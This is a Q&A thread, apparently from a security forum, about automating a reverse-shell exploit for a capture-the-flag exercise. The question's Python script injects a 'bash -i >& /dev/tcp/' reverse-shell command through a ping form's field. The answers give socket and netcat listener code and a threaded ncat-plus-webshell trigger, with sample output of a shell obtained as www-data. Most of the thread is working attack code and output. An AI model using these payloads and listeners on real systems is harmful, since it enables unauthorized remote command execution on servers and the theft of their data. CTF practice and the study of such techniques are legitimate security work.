3

I'm coding an exploit in python that exploits a command injection vulnerability for a CTF and I'm wondering how could I start a netcat listener and then send the payload to the remote host and once the connection is stablished the script execution finishes and drops me to the stablished connection.

This is my code:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

What I want to do is something like this:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

I'm not sure if such a thing is even possible. Any idea?

alecxe
  • 1,515
  • 5
  • 19
  • 34
Nucklear
  • 429
  • 3
  • 6
  • 11

3 Answers3

4

Typically, you would just start the listener separately: Open a new terminal and run your nc -l -p 9999. Leave that there waiting, then fire off your exploit causing the remote machine to start a reverse shell.

There are loads of things that can go wrong in this process, generally just binding a shell is much easier than getting a reverse shell to work when you're blind.

You need to open a listening socket, and then interact with it once it has received a connection.

So, first open your listening socket (this replaces netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

You can use a simple interact function that takes a socket:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Then you can use them together with something like:

interact(s.accept())

This might require some tweaking, but that is the basic layout.

lynks
  • 10,636
  • 5
  • 29
  • 54
  • Hi lynks, I know actually creating the listener manually is what I'm doing but is exactly what I dont want to. The reverse shell works fine and what I want to Get is that my script drops me un the shell created without switching terminals. Regards – Nucklear Sep 18 '13 at 15:41
  • @Nucklear I have added to my answer to address how to do this in python alone. – lynks Sep 18 '13 at 15:51
  • Thanks for the reply, I already tried with sockets but when I create the listener the script stops waiting for the inbound connection and never executes the request that creates the connection. Do you know how could I solve this? – Nucklear Sep 18 '13 at 16:52
  • @Nucklear It should only block when you reach the `s.accept()` call. None of the calls above should block. The order needs to be 1)Bind_&_Listen 2)Send_Exploit 3)Accept_Connection – lynks Sep 18 '13 at 16:54
  • Yes that's whet I'm doing but does not stablish the connection. For my understand the payload stablish a raw tcp connection that should be captured by the listener in my script but during the time between I send the payload and accept the connection could it be lost? – Nucklear Sep 18 '13 at 17:29
  • Have you thought of daemonizing nc? – schroeder Sep 18 '13 at 17:41
  • @lynks I identified the problem. When I send the request ( urllib2.urlopen(req) ) it stops the execution until something catch the connection and I can't accept the connection without passing that line. Any idea?. – Nucklear Sep 19 '13 at 09:14
  • @Nucklear your upstream socket should be connecting to the vulnerable service straight away. If it is timing out, then something is wrong at the remote end. – lynks Sep 19 '13 at 09:25
  • @lynks The problem is that the vulnerability is a command injection and since I create a reverse shell the request is opened and keeps loading until I terminate the connection. Actually the socket receives the reverse shell but I cannot accept the connection because it's stuck sending the request. I thought about creating two threads but IMO it's messy just for that. – Nucklear Sep 19 '13 at 09:57
  • @Nucklear If you're really sure you want to put it all into one Python file, you're probably going to have to fire off a listening thread. The other option would be to wrap it in a bash script and use either the background (`&`) function, or named pipes, or something. – lynks Sep 19 '13 at 10:15
  • @lynks Would try those options and also implementing a timeout function for the request. Thanks – Nucklear Sep 19 '13 at 10:20
0

In your Kali machine you could push the netcat listener into the background by issuing:

nc -lvp [port] & (Don't use the brackets in your command)

You cursor may be on a new blank line, but no worries, just hit enter and it will bring you back to where you can issue another command. Feel free to look at the job in the background by using:

jobs

You will see any jobs listed out with a number, status, followed by the job. You can kill any jobs by issuing:

kill %1

The 1 being the job you wish to kill. Anyway, the nc listener will be in the background and you can execute your python exploit script which if successful, should bring up your shell/connection.

Matthew
  • 1
0

Actually, I was looking for the same to create ncat listener and execute reverse shell by visiting the page in the same python script.

I came up with the following solution.

from threading import Timer
import os

def interactive_shell(port):
    print "(+) listening to reverse shell"
    # wait for 1 sec before visiting webshell
    t = Timer(1, activate_webshell)
    # start thread activity
    t.start()
    ncat = 'ncat -lnvp %s' % port
    os.system(ncat)

def activate_webshell():
    target ="http://%s/rev_shell.php" % sys.argv[1]
    session.get(target)

output:

(+) listening to the shell
Ncat: Version 7.80SVN ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:40871.
bash: cannot set terminal process group (621): Inappropriate ioctl for device
bash: no job control in this shell
www-data@atutor:/var/www/html/webapp/mods$ whoami
whoami
www-data
www-data@atutor:/var/www/html/webapp/mods$
Just_Coding
  • 1
  • 1